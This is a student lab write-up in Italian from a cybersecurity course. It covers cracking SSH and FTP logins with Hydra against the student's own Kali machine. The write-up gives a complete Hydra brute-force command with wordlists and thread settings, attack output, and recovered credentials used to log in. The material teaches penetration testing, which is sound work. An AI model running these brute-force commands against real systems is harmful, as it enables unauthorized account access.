

# W14D1 - Pratica (2)

*DATA*

**Cybersecurity Analyst**

*Studente:*

*Andrea Scarmagnani*

*Docente:*

*Federico Daidone*

## Cyber Security & Ethical Hacking Giorno 2 – Authentication cracking con Hydra

### Authentication cracking con Hydra

#### Traccia:

L'esercizio di oggi ha un duplice scopo:

- Fare pratica con Hydra per craccare l'autenticazione dei servizi di rete
- Consolidare le conoscenze dei servizi stessi tramite la loro configurazione

#### Ricordate che la configurazione dei servizi è essa stessa parte dell'esercizio

L'esercizio si svilupperà in due fasi:

- Una prima fase dove insieme vedremo l'abilitazione di un servizio SSH e la relativa sessione di cracking dell'autenticazione con Hydra
- Una seconda fase dove sarete liberi di configurare e craccare un qualsiasi servizio di rete tra quelli disponibili, ad esempio ftp, rdp, telnet, autenticazione HTTP.

#### Traccia 2 – suggerimento:

Per la seconda parte dell'esercizio, scegliete un servizio da configurare e poi provate a craccare l'autenticazione con Hydra.

Se optate per il servizio ftp, potete semplicemente installarlo con il seguente comando:

```
sudo apt install vsftpd
```

E poi avviare il servizio con

```
sudo service vsftpd start
```

Consegna:

- 1.Mi posiziono in NAT**, utilizzate il comando `sudo apt install seclists`, `sudo apt install vsftpd`
- 2.Mi posiziono in rete interna**, esercizio guidato su SSH da Kali a Kali
3. FTP da Kali a Kali
4. Bonus: telnet / ssh / ftp da Kali a Metasploitable (in rete interna) utente msfadmin password listadipassword (con msfadmin incluso)

- Qui sotto ho creato l'utente *test\_user* con la password *testpsss*;
  - Ho poi avviato il servizio ssh nella macchina;
  - Per finire ho controllato che il servizio ssh fosse funzionante, collegandomi alla macchina;
- ssh test\_user@127.0.0.1**

```
(kali㉿kali)-[~]
$ sudo adduser test_user
[sudo] password for kali:
info: Adding user `test_user' ...
info: Selecting UID/GID from range 1000 to 59999 ...
info: Adding new group `test_user' (1001) ...
info: Adding new user `test_user' (1001) with group `test_user (1001)' ...
info: Creating home directory `/home/test_user' ...
info: Copying files from `/etc/skel' ...
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for test_user
Enter the new value, or press ENTER for the default
  Full Name []:
  Room Number []:
  Work Phone []:
  Home Phone []:
  Other []:
Is the information correct? [Y/n] y
info: Adding new user `test_user' to supplemental / extra groups `users' ...
info: Adding user `test_user' to group `users' ...

(kali㉿kali)-[~]
$ sudo service ssh start

(kali㉿kali)-[~]
$ ssh test_user@127.0.0.1
The authenticity of host '127.0.0.1 (127.0.0.1)' can't be established.
ED25519 key fingerprint is SHA256:djuaR4RW8YfGlx2ar6gUwXwk1VhvnMqz8HV9M040f6E.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? y
Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added '127.0.0.1' (ED25519) to the list of known hosts.
test_user@127.0.0.1's password:
Linux kali 6.5.0-kali3-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.5.6-1kali1 (2023-10-09) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
(test_user㉿kali)-[~]
$
```

Ora andiamo a configurare Hydra per l'attacco:

hydra	Esegue Hydra
<b>-L /usr/share/seclists/Username/xato-net-10-million-username.txt</b>	<b>-L</b> carica la lista degli <b>User name</b>
<b>-P /usr/share/seclists/Password/xato-net-10-million-passwords-1000000.txt</b>	<b>-P</b> carica la lista delle <b>Password</b>
<b>127.0.0.1</b>	Indirizzo della macchina vittima
<b>-V</b>	Abilita il metodo Verbose, da più risultati durante i tentativi d'attacco
<b>-t 64</b>	Abilitiamo 64 tread, non fare se la macchina ha un processore piccolo.
<b>ssh</b>	Indichiamo il tipo di servizio da attaccare
<b>-o List_hydra_test_user.txt</b>	I risultati positivi li memorizza in questo file così da poterli recuperare in futuro.

E adesso qui la stringa da mettere nel terminale:

```
hydra -L /usr/share/seclists/Username/xato-net-10-million-username.txt -P  
/usr/share/seclists/Password/xato-net-10-million-passwords-1000000.txt 127.0.0.1 -V -t 64 ssh -  
o List_hydra_test_user.txt
```

Avendo attivato il metodo -V Verbose, di tanto in tanto restituisci lo status di come sta procedendo. Per ora ha stimato circa 357 tentativi al minuto e deve eseguire ancora circa 8295454999669. Finirà tra circa 47 ore.

[STATUS] **357.00 tries/min**, 357 tries in 00:01h, **8295454999669** to do in 387276143:**47h**, 38 active

```
[ATTEMPT] target 127.0.0.1 - login "info" - pass "zzzzzz" - 357 of 8295455000026 [child 23] (0/26)  
[STATUS] 357.00 tries/min, 357 tries in 00:01h, 8295454999669 to do in 387276143:47h, 38 active  
[ATTEMPT] target 127.0.0.1 - login "info" - pass "nirvana" - 358 of 8295455000026 [child 8] (0/26)  
[ATTEMPT] target 127.0.0.1 - login "info" - pass "nirvana" - 359 of 8295455000026 [child 23] (0/26)
```

A comando finito il risultato sarà come questo:

```
[22][ssh] host: 127.0.0.1 login: kali password: kali
```

Per accelerare il tutto ho cambiato i file riducendo il numero dei test da eseguire, modificando e portando in alto lo Username e password

```
/usr/share/seclists/Username/Lista_User_Personale.txt  
/usr/share/seclists/Password/xato-net-10-million-passwords-10.txt
```

## Qui sotto l'esempio fatto con il protocollo FTP:

```
hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-02-13 19:32:32
[DATA] max 16 tasks per 1 server, overall 16 tasks, 24 login tries (l:2/p:12), ~2 tries per task
[DATA] attacking ftp://127.0.0.1:21/
[ATTEMPT] target 127.0.0.1 - login "kali" - pass "123456" - 1 of 24 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "kali" - pass "password" - 2 of 24 [child 1] (0/0)
[ATTEMPT] target 127.0.0.1 - login "kali" - pass "12345678" - 3 of 24 [child 2] (0/0)
[ATTEMPT] target 127.0.0.1 - login "kali" - pass "qwerty" - 4 of 24 [child 3] (0/0)
[ATTEMPT] target 127.0.0.1 - login "kali" - pass "123456789" - 5 of 24 [child 4] (0/0)
[ATTEMPT] target 127.0.0.1 - login "kali" - pass "12345" - 6 of 24 [child 5] (0/0)
[ATTEMPT] target 127.0.0.1 - login "kali" - pass "1234" - 7 of 24 [child 6] (0/0)
[ATTEMPT] target 127.0.0.1 - login "kali" - pass "111111" - 8 of 24 [child 7] (0/0)
[ATTEMPT] target 127.0.0.1 - login "kali" - pass "1234567" - 9 of 24 [child 8] (0/0)
[ATTEMPT] target 127.0.0.1 - login "kali" - pass "dragon" - 10 of 24 [child 9] (0/0)
[ATTEMPT] target 127.0.0.1 - login "kali" - pass "kali" - 11 of 24 [child 10] (0/0)
[ATTEMPT] target 127.0.0.1 - login "kali" - pass "" - 12 of 24 [child 11] (0/0)
[ATTEMPT] target 127.0.0.1 - login "" - pass "123456" - 13 of 24 [child 12] (0/0)
[ATTEMPT] target 127.0.0.1 - login "" - pass "password" - 14 of 24 [child 13] (0/0)
[ATTEMPT] target 127.0.0.1 - login "" - pass "12345678" - 15 of 24 [child 14] (0/0)
[ATTEMPT] target 127.0.0.1 - login "" - pass "qwerty" - 16 of 24 [child 15] (0/0)
21][ftp] host: 127.0.0.1 login: kali password: kali
[ATTEMPT] target 127.0.0.1 - login "" - pass "123456789" - 17 of 24 [child 16] (0/0)
```

## Test se le credenziali sono funzionanti:

```
$ ftp kali@127.0.0.1
Connected to 127.0.0.1.
220 (vsFTPD 3.0.3)
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||26791|)
150 Here comes the directory listing.
-rw-r--r-- 1 1000 1000 185 Jan 16 19:20 192.168.1.1
-rw-r--r-- 1 0 0 235 Dec 20 23:50 192.168.1.76
-rw-r--r-- 1 1000 1000 231 Jan 16 19:20 192.168.50.*
-rw-r--r-- 1 1000 1000 231 Jan 16 19:20 192.168.50.1
-rw-r--r-- 1 1000 1000 222 Jan 16 19:27 192.168.50.100
```

# **Cybersecurity Analyst 2023**